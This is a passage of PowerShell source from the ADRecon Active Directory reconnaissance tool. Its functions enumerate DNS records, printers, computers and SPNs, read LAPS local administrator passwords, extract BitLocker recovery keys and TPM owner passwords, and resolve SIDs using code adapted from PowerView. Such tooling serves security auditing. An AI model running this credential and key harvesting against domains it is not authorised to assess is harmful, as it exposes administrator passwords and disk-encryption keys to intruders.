$name = ([string] $($_.Properties.name))
If (-Not $name)
{
$name = ([string] $($_.Properties.dc))
}
$ObjNode | Add-Member -MemberType NoteProperty -Name Name -Value $name
Try
{
$DNSRecord = Convert-DNSRecord $_.Properties.dnsrecord[0]
}
Catch
{
Write-Warning "[Get-ADRDNSZone] Error while converting the DNSRecord"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
$ObjNode | Add-Member -MemberType NoteProperty -Name RecordType -Value $DNSRecord.RecordType
$ObjNode | Add-Member -MemberType NoteProperty -Name Data -Value $DNSRecord.Data
$ObjNode | Add-Member -MemberType NoteProperty -Name TTL -Value $DNSRecord.TTL
$ObjNode | Add-Member -MemberType NoteProperty -Name Age -Value $DNSRecord.Age
$ObjNode | Add-Member -MemberType NoteProperty -Name TimeStamp -Value $DNSRecord.TimeStamp
$ObjNode | Add-Member -MemberType NoteProperty -Name UpdatedAtSerial -Value $DNSRecord.UpdatedAtSerial
$ObjNode | Add-Member -MemberType NoteProperty -Name whenCreated -Value ([DateTime] $($_.Properties.whencreated))
$ObjNode | Add-Member -MemberType NoteProperty -Name whenChanged -Value ([DateTime] $($_.Properties.whenchanged))
# TO DO
#$ObjNode | Add-Member -MemberType NoteProperty -Name dNSTombstoned -Value $null
#$ObjNode | Add-Member -MemberType NoteProperty -Name ProtectedFromAccidentalDeletion -Value $null
$ObjNode | Add-Member -MemberType NoteProperty -Name showInAdvancedViewOnly -Value ([string] $($_.Properties.showinadvancedviewonly))
$ObjNode | Add-Member -MemberType NoteProperty -Name DistinguishedName -Value ([string] $($_.Properties.distinguishedname))
$ADDNSNodesObj += $ObjNode
If ($DNSRecord)
{
Remove-Variable DNSRecord
}
}
}
Else
{
$Obj | Add-Member -MemberType NoteProperty -Name RecordCount -Value $null
}
$Obj | Add-Member -MemberType NoteProperty -Name USNCreated -Value ([string] $($_.Properties.usncreated))
$Obj | Add-Member -MemberType NoteProperty -Name USNChanged -Value ([string] $($_.Properties.usnchanged))
$Obj | Add-Member -MemberType NoteProperty -Name whenCreated -Value ([DateTime] $($_.Properties.whencreated))
$Obj | Add-Member -MemberType NoteProperty -Name whenChanged -Value ([DateTime] $($_.Properties.whenchanged))
$Obj | Add-Member -MemberType NoteProperty -Name DistinguishedName -Value ([string] $($_.Properties.distinguishedname))
$ADDNSZonesObj += $Obj
}
Write-Verbose "[*] Total DNS Records: $([ADRecon.LDAPClass]::ObjectCount($ADDNSNodesObj))"
Remove-Variable DNSZoneArray
}
}
If ($ADDNSZonesObj)
{
Export-ADR $ADDNSZonesObj $ADROutputDir $OutputType "DNSZones"
Remove-Variable ADDNSZonesObj
}
If ($ADDNSNodesObj)
{
Export-ADR $ADDNSNodesObj $ADROutputDir $OutputType "DNSNodes"
Remove-Variable ADDNSNodesObj
}
}
Function Get-ADRPrinter
{
<#
.SYNOPSIS
Returns all printers in the current (or specified) domain.
.DESCRIPTION
Returns all printers in the current (or specified) domain.
.PARAMETER Protocol
[string]
Which protocol to use; ADWS (default) or LDAP.
.PARAMETER objDomain
[DirectoryServices.DirectoryEntry]
Domain Directory Entry object.
.PARAMETER PageSize
[int]
The PageSize to set for the LDAP searcher object. Default 200.
.PARAMETER Threads
[int]
The number of threads to use during processing of objects. Default 10.
.OUTPUTS
PSObject.
#>
param(
[Parameter(Mandatory = $true)]
[string] $Protocol,
[Parameter(Mandatory = $false)]
[DirectoryServices.DirectoryEntry] $objDomain,
[Parameter(Mandatory = $true)]
[int] $PageSize,
[Parameter(Mandatory = $false)]
[int] $Threads = 10
)
If ($Protocol -eq 'ADWS')
{
Try
{
$ADPrinters = @( Get-ADObject -LDAPFilter '(objectCategory=printQueue)' -Properties driverName,driverVersion,Name,portName,printShareName,serverName,url,whenChanged,whenCreated )
}
Catch
{
Write-Warning "[Get-ADRPrinter] Error while enumerating printQueue Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
If ($ADPrinters)
{
Write-Verbose "[*] Total Printers: $([ADRecon.ADWSClass]::ObjectCount($ADPrinters))"
$PrintersObj = [ADRecon.ADWSClass]::PrinterParser($ADPrinters, $Threads)
Remove-Variable ADPrinters
}
}
If ($Protocol -eq 'LDAP')
{
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain
$ObjSearcher.PageSize = $PageSize
$ObjSearcher.Filter = "(objectCategory=printQueue)"
$ObjSearcher.SearchScope = "Subtree"
Try
{
$ADPrinters = $ObjSearcher.FindAll()
}
Catch
{
Write-Warning "[Get-ADRPrinter] Error while enumerating printQueue Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
$ObjSearcher.dispose()
If ($ADPrinters)
{
$cnt = $([ADRecon.LDAPClass]::ObjectCount($ADPrinters))
If ($cnt -ge 1)
{
Write-Verbose "[*] Total Printers: $cnt"
$PrintersObj = [ADRecon.LDAPClass]::PrinterParser($ADPrinters, $Threads)
}
Remove-Variable ADPrinters
}
}
If ($PrintersObj)
{
Return $PrintersObj
}
Else
{
Return $null
}
}
Function Get-ADRComputer
{
<#
.SYNOPSIS
Returns all computers in the current (or specified) domain.
.DESCRIPTION
Returns all computers in the current (or specified) domain.
.PARAMETER Protocol
[string]
Which protocol to use; ADWS (default) or LDAP.
.PARAMETER date
[DateTime]
Date when ADRecon was executed.
.PARAMETER objDomain
[DirectoryServices.DirectoryEntry]
Domain Directory Entry object.
.PARAMETER DormantTimeSpan
[int]
Timespan for Dormant accounts. Default 90 days.
.PARAMTER PassMaxAge
[int]
Maximum machine account password age. Default 30 days
https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/domain-member-maximum-machine-account-password-age
.PARAMETER PageSize
[int]
The PageSize to set for the LDAP searcher object. Default 200.
.PARAMETER Threads
[int]
The number of threads to use during processing of objects. Default 10.
.OUTPUTS
PSObject.
#>
param(
[Parameter(Mandatory = $true)]
[string] $Protocol,
[Parameter(Mandatory = $true)]
[DateTime] $date,
[Parameter(Mandatory = $false)]
[DirectoryServices.DirectoryEntry] $objDomain,
[Parameter(Mandatory = $true)]
[int] $DormantTimeSpan = 90,
[Parameter(Mandatory = $true)]
[int] $PassMaxAge = 30,
[Parameter(Mandatory = $true)]
[int] $PageSize,
[Parameter(Mandatory = $false)]
[int] $Threads = 10
)
If ($Protocol -eq 'ADWS')
{
Try
{
$ADComputers = @( Get-ADComputer -Filter * -ResultPageSize $PageSize -Properties Description,DistinguishedName,DNSHostName,Enabled,IPv4Address,LastLogonDate,'msDS-AllowedToDelegateTo','ms-ds-CreatorSid','msDS-SupportedEncryptionTypes',Name,OperatingSystem,OperatingSystemHotfix,OperatingSystemServicePack,OperatingSystemVersion,PasswordLastSet,primaryGroupID,SamAccountName,SID,SIDHistory,TrustedForDelegation,TrustedToAuthForDelegation,UserAccountControl,whenChanged,whenCreated )
}
Catch
{
Write-Warning "[Get-ADRComputer] Error while enumerating Computer Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
If ($ADComputers)
{
Write-Verbose "[*] Total Computers: $([ADRecon.ADWSClass]::ObjectCount($ADComputers))"
$ComputerObj = [ADRecon.ADWSClass]::ComputerParser($ADComputers, $date, $DormantTimeSpan, $PassMaxAge, $Threads)
Remove-Variable ADComputers
}
}
If ($Protocol -eq 'LDAP')
{
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain
$ObjSearcher.PageSize = $PageSize
$ObjSearcher.Filter = "(samAccountType=805306369)"
$ObjSearcher.PropertiesToLoad.AddRange(("description","distinguishedname","dnshostname","lastlogontimestamp","msDS-AllowedToDelegateTo","ms-ds-CreatorSid","msDS-SupportedEncryptionTypes","name","objectsid","operatingsystem","operatingsystemhotfix","operatingsystemservicepack","operatingsystemversion","primarygroupid","pwdlastset","samaccountname","sidhistory","useraccountcontrol","whenchanged","whencreated"))
$ObjSearcher.SearchScope = "Subtree"
Try
{
$ADComputers = $ObjSearcher.FindAll()
}
Catch
{
Write-Warning "[Get-ADRComputer] Error while enumerating Computer Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
$ObjSearcher.dispose()
If ($ADComputers)
{
Write-Verbose "[*] Total Computers: $([ADRecon.LDAPClass]::ObjectCount($ADComputers))"
$ComputerObj = [ADRecon.LDAPClass]::ComputerParser($ADComputers, $date, $DormantTimeSpan, $PassMaxAge, $Threads)
Remove-Variable ADComputers
}
}
If ($ComputerObj)
{
Return $ComputerObj
}
Else
{
Return $null
}
}
Function Get-ADRComputerSPN
{
<#
.SYNOPSIS
Returns all computer service principal name (SPN) in the current (or specified) domain.
.DESCRIPTION
Returns all computer service principal name (SPN) in the current (or specified) domain.
.PARAMETER Protocol
[string]
Which protocol to use; ADWS (default) or LDAP.
.PARAMETER objDomain
[DirectoryServices.DirectoryEntry]
Domain Directory Entry object.
.PARAMETER PageSize
[int]
The PageSize to set for the LDAP searcher object. Default 200.
.PARAMETER Threads
[int]
The number of threads to use during processing of objects. Default 10.
.OUTPUTS
PSObject.
#>
param(
[Parameter(Mandatory = $true)]
[string] $Protocol,
[Parameter(Mandatory = $false)]
[DirectoryServices.DirectoryEntry] $objDomain,
[Parameter(Mandatory = $true)]
[int] $PageSize,
[Parameter(Mandatory = $false)]
[int] $Threads = 10
)
If ($Protocol -eq 'ADWS')
{
Try
{
$ADComputers = @( Get-ADObject -LDAPFilter "(&(samAccountType=805306369)(servicePrincipalName=*))" -Properties Name,servicePrincipalName -ResultPageSize $PageSize )
}
Catch
{
Write-Warning "[Get-ADRComputerSPN] Error while enumerating ComputerSPN Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
If ($ADComputers)
{
Write-Verbose "[*] Total ComputerSPNs: $([ADRecon.ADWSClass]::ObjectCount($ADComputers))"
$ComputerSPNObj = [ADRecon.ADWSClass]::ComputerSPNParser($ADComputers, $Threads)
Remove-Variable ADComputers
}
}
If ($Protocol -eq 'LDAP')
{
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain
$ObjSearcher.PageSize = $PageSize
$ObjSearcher.Filter = "(&(samAccountType=805306369)(servicePrincipalName=*))"
$ObjSearcher.PropertiesToLoad.AddRange(("name","serviceprincipalname"))
$ObjSearcher.SearchScope = "Subtree"
Try
{
$ADComputers = $ObjSearcher.FindAll()
}
Catch
{
Write-Warning "[Get-ADRComputerSPN] Error while enumerating ComputerSPN Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
$ObjSearcher.dispose()
If ($ADComputers)
{
Write-Verbose "[*] Total ComputerSPNs: $([ADRecon.LDAPClass]::ObjectCount($ADComputers))"
$ComputerSPNObj = [ADRecon.LDAPClass]::ComputerSPNParser($ADComputers, $Threads)
Remove-Variable ADComputers
}
}
If ($ComputerSPNObj)
{
Return $ComputerSPNObj
}
Else
{
Return $null
}
}
# based on https://github.com/kfosaaen/Get-LAPSPasswords/blob/master/Get-LAPSPasswords.ps1
Function Get-ADRLAPSCheck
{
<#
.SYNOPSIS
Returns all LAPS (local administrator) stored passwords in the current (or specified) domain.
.DESCRIPTION
Returns all LAPS (local administrator) stored passwords in the current (or specified) domain. Other details such as the Password Expiration, whether the password is readable by the current user are also returned.
.PARAMETER Protocol
[string]
Which protocol to use; ADWS (default) or LDAP.
.PARAMETER objDomain
[DirectoryServices.DirectoryEntry]
Domain Directory Entry object.
.PARAMETER PageSize
[int]
The PageSize to set for the LDAP searcher object. Default 200.
.PARAMETER Threads
[int]
The number of threads to use during processing of objects. Default 10.
.OUTPUTS
PSObject.
#>
param(
[Parameter(Mandatory = $true)]
[string] $Protocol,
[Parameter(Mandatory = $false)]
[DirectoryServices.DirectoryEntry] $objDomain,
[Parameter(Mandatory = $true)]
[int] $PageSize,
[Parameter(Mandatory = $false)]
[int] $Threads = 10
)
If ($Protocol -eq 'ADWS')
{
Try
{
$ADComputers = @( Get-ADObject -LDAPFilter "(samAccountType=805306369)" -Properties CN,DNSHostName,'ms-Mcs-AdmPwd','ms-Mcs-AdmPwdExpirationTime' -ResultPageSize $PageSize )
}
Catch [System.ArgumentException]
{
Write-Warning "[*] LAPS is not implemented."
Return $null
}
Catch
{
Write-Warning "[Get-ADRLAPSCheck] Error while enumerating LAPS Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
If ($ADComputers)
{
Write-Verbose "[*] Total LAPS Objects: $([ADRecon.ADWSClass]::ObjectCount($ADComputers))"
$LAPSObj = [ADRecon.ADWSClass]::LAPSParser($ADComputers, $Threads)
Remove-Variable ADComputers
}
}
If ($Protocol -eq 'LDAP')
{
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain
$ObjSearcher.PageSize = $PageSize
$ObjSearcher.Filter = "(samAccountType=805306369)"
$ObjSearcher.PropertiesToLoad.AddRange(("cn","dnshostname","ms-mcs-admpwd","ms-mcs-admpwdexpirationtime"))
$ObjSearcher.SearchScope = "Subtree"
Try
{
$ADComputers = $ObjSearcher.FindAll()
}
Catch
{
Write-Warning "[Get-ADRLAPSCheck] Error while enumerating LAPS Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
$ObjSearcher.dispose()
If ($ADComputers)
{
$LAPSCheck = [ADRecon.LDAPClass]::LAPSCheck($ADComputers)
If (-Not $LAPSCheck)
{
Write-Warning "[*] LAPS is not implemented."
Return $null
}
Else
{
Write-Verbose "[*] Total LAPS Objects: $([ADRecon.LDAPClass]::ObjectCount($ADComputers))"
$LAPSObj = [ADRecon.LDAPClass]::LAPSParser($ADComputers, $Threads)
Remove-Variable ADComputers
}
}
}
If ($LAPSObj)
{
Return $LAPSObj
}
Else
{
Return $null
}
}
Function Get-ADRBitLocker
{
<#
.SYNOPSIS
Returns all BitLocker Recovery Keys stored in the current (or specified) domain.
.DESCRIPTION
Returns all BitLocker Recovery Keys stored in the current (or specified) domain.
.PARAMETER Protocol
[string]
Which protocol to use; ADWS (default) or LDAP.
.PARAMETER objDomain
[DirectoryServices.DirectoryEntry]
Domain Directory Entry object.
.PARAMETER DomainController
[string]
IP Address of the Domain Controller.
.PARAMETER Credential
[Management.Automation.PSCredential]
Credentials.
.OUTPUTS
PSObject.
#>
param(
[Parameter(Mandatory = $true)]
[string] $Protocol,
[Parameter(Mandatory = $false)]
[DirectoryServices.DirectoryEntry] $objDomain,
[Parameter(Mandatory = $false)]
[string] $DomainController,
[Parameter(Mandatory = $false)]
[Management.Automation.PSCredential] $Credential = [Management.Automation.PSCredential]::Empty
)
If ($Protocol -eq 'ADWS')
{
Try
{
$ADBitLockerRecoveryKeys = Get-ADObject -LDAPFilter '(objectClass=msFVE-RecoveryInformation)' -Properties distinguishedName,msFVE-RecoveryPassword,msFVE-RecoveryGuid,msFVE-VolumeGuid,Name,whenCreated
}
Catch
{
Write-Warning "[Get-ADRBitLocker] Error while enumerating msFVE-RecoveryInformation Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
If ($ADBitLockerRecoveryKeys)
{
$cnt = $([ADRecon.ADWSClass]::ObjectCount($ADBitLockerRecoveryKeys))
If ($cnt -ge 1)
{
Write-Verbose "[*] Total BitLocker Recovery Keys: $cnt"
$BitLockerObj = @()
$ADBitLockerRecoveryKeys | ForEach-Object {
# Create the object for each instance.
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Distinguished Name" -Value $((($_.distinguishedName -split '}')[1]).substring(1))
$Obj | Add-Member -MemberType NoteProperty -Name "Name" -Value $_.Name
$Obj | Add-Member -MemberType NoteProperty -Name "whenCreated" -Value $_.whenCreated
$Obj | Add-Member -MemberType NoteProperty -Name "Recovery Key ID" -Value $([GUID] $_.'msFVE-RecoveryGuid')
$Obj | Add-Member -MemberType NoteProperty -Name "Recovery Key" -Value $_.'msFVE-RecoveryPassword'
$Obj | Add-Member -MemberType NoteProperty -Name "Volume GUID" -Value $([GUID] $_.'msFVE-VolumeGuid')
Try
{
$TempComp = Get-ADComputer -Identity $Obj.'Distinguished Name' -Properties msTPM-OwnerInformation,msTPM-TpmInformationForComputer
}
Catch
{
Write-Warning "[Get-ADRBitLocker] Error while enumerating $($Obj.'Distinguished Name') Computer Object"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
If ($TempComp)
{
# msTPM-OwnerInformation (Vista/7 or Server 2008/R2)
$Obj | Add-Member -MemberType NoteProperty -Name "msTPM-OwnerInformation" -Value $TempComp.'msTPM-OwnerInformation'
# msTPM-TpmInformationForComputer (Windows 8/10 or Server 2012/R2)
$Obj | Add-Member -MemberType NoteProperty -Name "msTPM-TpmInformationForComputer" -Value $TempComp.'msTPM-TpmInformationForComputer'
If ($null -ne $TempComp.'msTPM-TpmInformationForComputer')
{
# Grab the TPM Owner Info from the msTPM-InformationObject
$TPMObject = Get-ADObject -Identity $TempComp.'msTPM-TpmInformationForComputer' -Properties msTPM-OwnerInformation
$TPMRecoveryInfo = $TPMObject.'msTPM-OwnerInformation'
}
Else
{
$TPMRecoveryInfo = $null
}
}
Else
{
$Obj | Add-Member -MemberType NoteProperty -Name "msTPM-OwnerInformation" -Value $null
$Obj | Add-Member -MemberType NoteProperty -Name "msTPM-TpmInformationForComputer" -Value $null
$TPMRecoveryInfo = $null
}
$Obj | Add-Member -MemberType NoteProperty -Name "TPM Owner Password" -Value $TPMRecoveryInfo
$BitLockerObj += $Obj
}
}
Remove-Variable ADBitLockerRecoveryKeys
}
}
If ($Protocol -eq 'LDAP')
{
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain
$ObjSearcher.PageSize = $PageSize
$ObjSearcher.Filter = "(objectClass=msFVE-RecoveryInformation)"
$ObjSearcher.PropertiesToLoad.AddRange(("distinguishedName","msfve-recoverypassword","msfve-recoveryguid","msfve-volumeguid","mstpm-ownerinformation","mstpm-tpminformationforcomputer","name","whencreated"))
$ObjSearcher.SearchScope = "Subtree"
Try
{
$ADBitLockerRecoveryKeys = $ObjSearcher.FindAll()
}
Catch
{
Write-Warning "[Get-ADRBitLocker] Error while enumerating msFVE-RecoveryInformation Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
$ObjSearcher.dispose()
If ($ADBitLockerRecoveryKeys)
{
$cnt = $([ADRecon.LDAPClass]::ObjectCount($ADBitLockerRecoveryKeys))
If ($cnt -ge 1)
{
Write-Verbose "[*] Total BitLocker Recovery Keys: $cnt"
$BitLockerObj = @()
$ADBitLockerRecoveryKeys | ForEach-Object {
# Create the object for each instance.
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Distinguished Name" -Value $((($_.Properties.distinguishedname -split '}')[1]).substring(1))
$Obj | Add-Member -MemberType NoteProperty -Name "Name" -Value ([string] ($_.Properties.name))
$Obj | Add-Member -MemberType NoteProperty -Name "whenCreated" -Value ([DateTime] $($_.Properties.whencreated))
$Obj | Add-Member -MemberType NoteProperty -Name "Recovery Key ID" -Value $([GUID] $_.Properties.'msfve-recoveryguid'[0])
$Obj | Add-Member -MemberType NoteProperty -Name "Recovery Key" -Value ([string] ($_.Properties.'msfve-recoverypassword'))
$Obj | Add-Member -MemberType NoteProperty -Name "Volume GUID" -Value $([GUID] $_.Properties.'msfve-volumeguid'[0])
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain
$ObjSearcher.PageSize = $PageSize
$ObjSearcher.Filter = "(&(samAccountType=805306369)(distinguishedName=$($Obj.'Distinguished Name')))"
$ObjSearcher.PropertiesToLoad.AddRange(("mstpm-ownerinformation","mstpm-tpminformationforcomputer"))
$ObjSearcher.SearchScope = "Subtree"
Try
{
$TempComp = $ObjSearcher.FindAll()
}
Catch
{
Write-Warning "[Get-ADRBitLocker] Error while enumerating $($Obj.'Distinguished Name') Computer Object"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
$ObjSearcher.dispose()
If ($TempComp)
{
# msTPM-OwnerInformation (Vista/7 or Server 2008/R2)
$Obj | Add-Member -MemberType NoteProperty -Name "msTPM-OwnerInformation" -Value $([string] $TempComp.Properties.'mstpm-ownerinformation')
# msTPM-TpmInformationForComputer (Windows 8/10 or Server 2012/R2)
$Obj | Add-Member -MemberType NoteProperty -Name "msTPM-TpmInformationForComputer" -Value $([string] $TempComp.Properties.'mstpm-tpminformationforcomputer')
If ($null -ne $TempComp.Properties.'mstpm-tpminformationforcomputer')
{
# Grab the TPM Owner Info from the msTPM-InformationObject
If ($Credential -ne [Management.Automation.PSCredential]::Empty)
{
$objSearchPath = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$($DomainController)/$($TempComp.Properties.'mstpm-tpminformationforcomputer')", $Credential.UserName,$Credential.GetNetworkCredential().Password
$objSearcherPath = New-Object System.DirectoryServices.DirectorySearcher $objSearchPath
$objSearcherPath.PropertiesToLoad.AddRange(("mstpm-ownerinformation"))
Try
{
$TPMObject = $objSearcherPath.FindAll()
}
Catch
{
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
$objSearcherPath.dispose()
If ($TPMObject)
{
$TPMRecoveryInfo = $([string] $TPMObject.Properties.'mstpm-ownerinformation')
}
Else
{
$TPMRecoveryInfo = $null
}
}
Else
{
Try
{
$TPMObject = ([ADSI]"LDAP://$($TempComp.Properties.'mstpm-tpminformationforcomputer')")
}
Catch
{
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
If ($TPMObject)
{
$TPMRecoveryInfo = $([string] $TPMObject.Properties.'mstpm-ownerinformation')
}
Else
{
$TPMRecoveryInfo = $null
}
}
}
}
Else
{
$Obj | Add-Member -MemberType NoteProperty -Name "msTPM-OwnerInformation" -Value $null
$Obj | Add-Member -MemberType NoteProperty -Name "msTPM-TpmInformationForComputer" -Value $null
$TPMRecoveryInfo = $null
}
$Obj | Add-Member -MemberType NoteProperty -Name "TPM Owner Password" -Value $TPMRecoveryInfo
$BitLockerObj += $Obj
}
}
Remove-Variable cnt
Remove-Variable ADBitLockerRecoveryKeys
}
}
If ($BitLockerObj)
{
Return $BitLockerObj
}
Else
{
Return $null
}
}
# Modified ConvertFrom-SID function from https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
Function ConvertFrom-SID
{
<#
.SYNOPSIS
Converts a security identifier (SID) to a group/user name.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
.DESCRIPTION
Converts a security identifier string (SID) to a group/user name using IADsNameTranslate interface.
.PARAMETER Protocol
[string]
Which protocol to use; ADWS (default) or LDAP.
.PARAMETER ObjectSid
Specifies one or more SIDs to convert.
.PARAMETER DomainFQDN
Specifies the FQDN of the Domain.
.PARAMETER Credential
Specifies an alternate credential to use for the translation.
.PARAMETER ResolveSIDs
[bool]
Whether to resolve SIDs in the ACLs module. (Default False)
.EXAMPLE
ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108
TESTLAB\harmj0y
.EXAMPLE
"S-1-5-21-890171859-3433809279-3366196753-1107", "S-1-5-21-890171859-3433809279-3366196753-1108", "S-1-5-32-562" | ConvertFrom-SID
TESTLAB\WINDOWS2$
TESTLAB\harmj0y
BUILTIN\Distributed COM Users
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword)
ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108 -Credential $Cred
TESTLAB\harmj0y
.INPUTS
[String]
Accepts one or more SID strings on the pipeline.
.OUTPUTS
[String]
The converted DOMAIN\username.
#>
Param(
[Parameter(Mandatory = $true)]
[string] $Protocol,
[Parameter(Mandatory = $true)]
[Alias('SID')]
#[ValidatePattern('^S-1-.*')]
[String]
$ObjectSid,
[Parameter(Mandatory = $false)]
[string] $DomainFQDN,
[Parameter(Mandatory = $false)]
[Management.Automation.PSCredential] $Credential = [Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $false)]
[bool] $ResolveSID = $false
)
BEGIN {
# Name Translator Initialization Types
# https://msdn.microsoft.com/en-us/library/aa772266%28v=vs.85%29.aspx
$ADS_NAME_INITTYPE_DOMAIN = 1 # Initializes a NameTranslate object by setting the domain that the object binds to.
#$ADS_NAME_INITTYPE_SERVER = 2 # Initializes a NameTranslate object by setting the server that the object binds to.
$ADS_NAME_INITTYPE_GC = 3 # Initializes a NameTranslate object by locating the global catalog that the object binds to.
# Name Transator Name Types
# https://msdn.microsoft.com/en-us/library/aa772267%28v=vs.85%29.aspx
#$ADS_NAME_TYPE_1779 = 1 # Name format as specified in RFC 1779. For example, "CN=Jeff Smith,CN=users,DC=Fabrikam,DC=com".
#$ADS_NAME_TYPE_CANONICAL = 2 # Canonical name format. For example, "Fabrikam.com/Users/Jeff Smith".
$ADS_NAME_TYPE_NT4 = 3 # Account name format used in Windows. For example, "Fabrikam\JeffSmith".
#$ADS_NAME_TYPE_DISPLAY = 4 # Display name format. For example, "Jeff Smith".
#$ADS_NAME_TYPE_DOMAIN_SIMPLE = 5 # Simple domain name format. For example, "JeffSmith@Fabrikam.com".
#$ADS_NAME_TYPE_ENTERPRISE_SIMPLE = 6 # Simple enterprise name format. For example, "JeffSmith@Fabrikam.com".
#$ADS_NAME_TYPE_GUID = 7 # Global Unique Identifier format. For example, "{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}".
$ADS_NAME_TYPE_UNKNOWN = 8 # Unknown name type. The system will estimate the format. This element is a meaningful option only with the IADsNameTranslate.Set or the IADsNameTranslate.SetEx method, but not with the IADsNameTranslate.Get or IADsNameTranslate.GetEx method.
#$ADS_NAME_TYPE_USER_PRINCIPAL_NAME = 9 # User principal name format. For example, "JeffSmith@Fabrikam.com".
#$ADS_NAME_TYPE_CANONICAL_EX = 10 # Extended canonical name format. For example, "Fabrikam.com/Users Jeff Smith".
#$ADS_NAME_TYPE_SERVICE_PRINCIPAL_NAME = 11 # Service principal name format. For example, "www/www.fabrikam.com@fabrikam.com".
#$ADS_NAME_TYPE_SID_OR_SID_HISTORY_NAME = 12 # A SID string, as defined in the Security Descriptor Definition Language (SDDL), for either the SID of the current object or one from the object SID history. For example, "O:AOG:DAD:(A;;RPWPCCDCLCSWRCWDWOGA;;;S-1-0-0)"
# https://msdn.microsoft.com/en-us/library/aa772250.aspx
#$ADS_CHASE_REFERRALS_NEVER = (0x00) # The client should never chase the referred-to server. Setting this option prevents a client from contacting other servers in a referral process.
#$ADS_CHASE_REFERRALS_SUBORDINATE = (0x20) # The client chases only subordinate referrals which are a subordinate naming context in a directory tree. For example, if the base search is requested for "DC=Fabrikam,DC=Com", and the server returns a result set and a referral of "DC=Sales,DC=Fabrikam,DC=Com" on the AdbSales server, the client can contact the AdbSales server to continue the search. The ADSI LDAP provider always turns off this flag for paged searches.
#$ADS_CHASE_REFERRALS_EXTERNAL = (0x40) # The client chases external referrals. For example, a client requests server A to perform a search for "DC=Fabrikam,DC=Com". However, server A does not contain the object, but knows that an independent server, B, owns it. It then refers the client to server B.
$ADS_CHASE_REFERRALS_ALWAYS = (0x60) # Referrals are chased for either the subordinate or external type.
}
PROCESS {
$TargetSid = $($ObjectSid.TrimStart("O:"))
$TargetSid = $($TargetSid.Trim('*'))
If ($TargetSid -match '^S-1-.*')
{
Try
{
# try to resolve any built-in SIDs first - https://support.microsoft.com/en-us/kb/243330
Switch ($TargetSid) {
'S-1-0' { 'Null Authority' }
'S-1-0-0' { 'Nobody' }
'S-1-1' { 'World Authority' }
'S-1-1-0' { 'Everyone' }
'S-1-2' { 'Local Authority' }
'S-1-2-0' { 'Local' }
'S-1-2-1' { 'Console Logon ' }
'S-1-3' { 'Creator Authority' }
'S-1-3-0' { 'Creator Owner' }
'S-1-3-1' { 'Creator Group' }
'S-1-3-2' { 'Creator Owner Server' }
'S-1-3-3' { 'Creator Group Server' }
'S-1-3-4' { 'Owner Rights' }
'S-1-4' { 'Non-unique Authority' }
'S-1-5' { 'NT Authority' }
'S-1-5-1' { 'Dialup' }
'S-1-5-2' { 'Network' }
'S-1-5-3' { 'Batch' }
'S-1-5-4' { 'Interactive' }
'S-1-5-6' { 'Service' }
'S-1-5-7' { 'Anonymous' }
'S-1-5-8' { 'Proxy' }
'S-1-5-9' { 'Enterprise Domain Controllers' }
'S-1-5-10' { 'Principal Self' }
'S-1-5-11' { 'Authenticated Users' }
'S-1-5-12' { 'Restricted Code' }
'S-1-5-13' { 'Terminal Server Users' }
'S-1-5-14' { 'Remote Interactive Logon' }
'S-1-5-15' { 'This Organization ' }
'S-1-5-17' { 'This Organization ' }
'S-1-5-18' { 'Local System' }
'S-1-5-19' { 'NT Authority' }
'S-1-5-20' { 'NT Authority' }
'S-1-5-80-0' { 'All Services ' }
'S-1-5-32-544' { 'BUILTIN\Administrators' }
'S-1-5-32-545' { 'BUILTIN\Users' }
'S-1-5-32-546' { 'BUILTIN\Guests' }
'S-1-5-32-547' { 'BUILTIN\Power Users' }
'S-1-5-32-548' { 'BUILTIN\Account Operators' }
'S-1-5-32-549' { 'BUILTIN\Server Operators' }
'S-1-5-32-550' { 'BUILTIN\Print Operators' }
'S-1-5-32-551' { 'BUILTIN\Backup Operators' }
'S-1-5-32-552' { 'BUILTIN\Replicators' }
'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' }
'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' }
'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' }
'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' }
'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' }
'S-1-5-32-559' { 'BUILTIN\Performance Log Users' }
'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' }
'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' }
